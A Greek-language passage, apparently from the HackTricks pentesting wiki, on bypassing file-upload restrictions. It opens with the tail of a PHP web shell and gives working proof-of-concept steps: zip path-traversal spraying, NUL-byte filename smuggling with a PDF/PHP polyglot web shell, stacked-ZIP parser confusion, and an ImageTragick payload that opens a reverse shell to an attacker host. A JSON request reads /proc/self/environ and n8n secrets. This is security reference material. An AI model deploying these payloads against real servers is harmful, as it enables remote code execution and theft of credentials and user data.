$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα αρχείο zip που τα περιέχει.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το “xxA” σε “../” για διάσχιση καταλόγων.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Όταν ένα backend επικυρώνει τις καταχωρήσεις ZIP χρησιμοποιώντας PHP’s ZipArchive αλλά η εξαγωγή γράφει στο filesystem χρησιμοποιώντας raw ονόματα, μπορείτε να περάσετε (smuggle) μια μη επιτρεπόμενη επέκταση εισάγοντας ένα NUL (0x00) στα πεδία ονόματος αρχείου. Το ZipArchive χειρίζεται το όνομα καταχώρησης ως C‑string και το περικόπτει στο πρώτο NUL· το filesystem γράφει το πλήρες όνομα, αποκόπτοντας οτιδήποτε μετά το NUL.

High-level flow:

  • Ετοιμάστε ένα νόμιμο container αρχείο (π.χ. ένα έγκυρο PDF) που ενσωματώνει ένα μικρό PHP stub σε ένα stream ώστε το magic/MIME να παραμένει PDF.
  • Ονομάστε το όπως shell.php..pdf, zip το, στη συνέχεια hex‑edit το ZIP local header και το central directory filename για να αντικαταστήσετε την πρώτη . μετά το .php με 0x00, με αποτέλεσμα shell.php\x00.pdf.
  • Οι validators που βασίζονται σε ZipArchive θα “δουν” shell.php .pdf και θα το επιτρέψουν· ο extractor γράφει shell.php στο δίσκο, οδηγώντας σε RCE αν ο upload φάκελος είναι executable.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Σημειώσεις

  • Αλλάξτε ΚΑΙ τις δύο εμφανίσεις του ονόματος αρχείου (τοπική και central directory). Κάποια εργαλεία προσθέτουν και μια επιπλέον καταχώριση data descriptor — προσαρμόστε όλα τα πεδία ονόματος αν υπάρχουν.
  • Το αρχείο payload πρέπει να περνάει ακόμη τον server-side magic/MIME sniffing. Η ενσωμάτωση του PHP σε ένα PDF stream διατηρεί το header έγκυρο.
  • Λειτουργεί όταν η enum/validation διαδρομή και η extraction/write διαδρομή διαφωνούν στον χειρισμό των συμβολοσειρών.

Στοιβαγμένα/συγχωνευμένα ZIPs (διαφωνία του parser)

Η συνένωση δύο έγκυρων ZIP αρχείων παράγει ένα blob στο οποίο διαφορετικοί parsers επικεντρώνονται σε διαφορετικές εγγραφές EOCD. Πολλά εργαλεία εντοπίζουν το τελευταίο End Of Central Directory (EOCD), ενώ ορισμένες βιβλιοθήκες (π.χ. ZipArchive σε συγκεκριμένα workflows) μπορεί να κάνουν parse του πρώτου archive που βρουν. Αν η validation απαριθμεί/ελέγχει το πρώτο archive και η extraction χρησιμοποιεί άλλο εργαλείο που σέβεται το τελευταίο EOCD, ένα benign archive μπορεί να περάσει τους ελέγχους ενώ ένα malicious θα εξαχθεί.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Μοτίβο κατάχρησης

  • Δημιουργήστε ένα αθώο αρχείο αρχειοθέτησης (επιτρεπόμενος τύπος, π.χ. PDF) και ένα δεύτερο αρχείο αρχειοθέτησης που περιέχει μια αποκλεισμένη επέκταση (π.χ. shell.php).
  • Συνενώστε τα: cat benign.zip evil.zip > combined.zip.
  • Εάν ο server επικυρώνει με έναν parser (βλέπει το benign.zip) αλλά εξάγει με άλλον (επεξεργάζεται το evil.zip), το αποκλεισμένο αρχείο καταλήγει στη διαδρομή εξαγωγής.

ImageTragic

Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick , 7.0.1-1) (από το exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες διεργασίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized και imagecopyresampled από PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συχνά για αλλαγή μεγέθους και επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις ενέργειες αποτελεί σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.

Μια λεπτομερής διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: “Encoding Web Shells in PNG IDAT chunks”. Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.

Περισσότερες πληροφορίες σε: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Τα polyglot files λειτουργούν ως ένα μοναδικό εργαλείο στην ασφάλεια στον κυβερνοχώρο, ενεργώντας σαν χαμαιλέοντες που μπορούν νόμιμα να υπάρχουν σε πολλαπλά format αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το GIFAR, ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρωμα· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.

Η κύρια χρησιμότητα των polyglot files βρίσκεται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία με βάση τον τύπο. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπεται μόνο συγκεκριμένους τύπους αρχείων για upload—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος από ενδεχομένως επιβλαβή formats (π.χ. JS, PHP ή Phar files). Ωστόσο, ένα polyglot, συμμορφούμενο με τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί διακριτικά να παρακάμψει αυτούς τους περιορισμούς.

Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτηθεί από τις πολιτικές επέκτασης αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό ως προς τις επιτρεπόμενες επεκτάσεις, η απλή δομική διττότητα ενός polyglot μπορεί να μην είναι αρκετή για να εγγυηθεί το upload.

Περισσότερες πληροφορίες σε: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμα και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από this blog post):

  • mmmagic library: Όσο τα μαγικά bytes %PDF βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλ. παράδειγμα στο post)
  • pdflib library: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα field του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι pdf (βλ. παράδειγμα στο post)
  • file binary: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Απλά δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλτε το αρχικό τμήμα ενός πραγματικού PDF και θα το θεωρήσει PDF

Content-Type confusion to arbitrary file read

Ορισμένοι upload handlers trust the parsed request body (π.χ., context.getBodyData().files) και αργότερα copy the file from file.filepath χωρίς πρώτα να επιβάλουν Content-Type: multipart/form-data. Εάν ο server δέχεται application/json, μπορείτε να παρέχετε ένα ψεύτικο αντικείμενο files που δείχνει το filepath σε οποιοδήποτε τοπικό path, μετατρέποντας τη ροή upload σε primitive για arbitrary file read.

Παράδειγμα POST ενάντια σε ένα form workflow που επιστρέφει το uploaded binary στην HTTP response:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Το backend αντιγράφει το file.filepath, οπότε η απάντηση επιστρέφει το περιεχόμενο της διαδρομής αυτής. Συνηθισμένη αλληλουχία: ανάγνωση του /proc/self/environ για να μάθετε το $HOME, στη συνέχεια $HOME/.n8n/config για τα κλειδιά και $HOME/.n8n/database.sqlite για τα αναγνωριστικά χρηστών.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks